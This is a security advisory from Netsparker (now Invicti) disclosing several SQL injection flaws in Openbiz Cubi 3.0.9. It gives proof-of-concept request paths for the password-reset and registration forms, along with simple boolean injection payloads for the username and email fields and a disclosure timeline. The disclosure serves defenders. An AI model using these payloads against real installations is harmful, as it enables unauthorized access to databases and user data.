Multiple SQL Injection Vulnerabilities in Openbiz Cubi


Advisory by Netsparker (now Invicti)
Name: Multiple SQL Injection Vulnerabilities in Openbiz Cubi
Affected Software: Openbiz Cubi
Affected Versions: 3.0.9 and possibly below
Vendor Homepage:
Vulnerability Type: SQL Injection
Severity: Critical
Invicti Advisory Reference: NS-14-043


If your web application is vulnerable to SQL injection, a hacker is able to execute any malicious SQL query or command through the web application.

Technical Details

Proof of Concept URLs for SQL Injection in Openbiz Cubi:

  •[user.form.ForgetPassForm]&P1=[ResetPassword]&__this=btn_restpass:onclick&_thisView=user.view.ForgetPassView (POST, fields: username)
  •[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_username)
    -1 OR 17-7=10
  •[user.form.RegisterForm]&P1=[CreateUser]&__this=btn_register:btn_register_onclick&_thisView=user.view.RegisterView (POST, fields: fld_email)
    ' OR 'ns'='ns

For more information on SQL Injection vulnerabilities read the section SQL injection.

Advisory Timeline

27/06/2014 – First Contact
07/07/2014 – Second Contact
24/12/2014 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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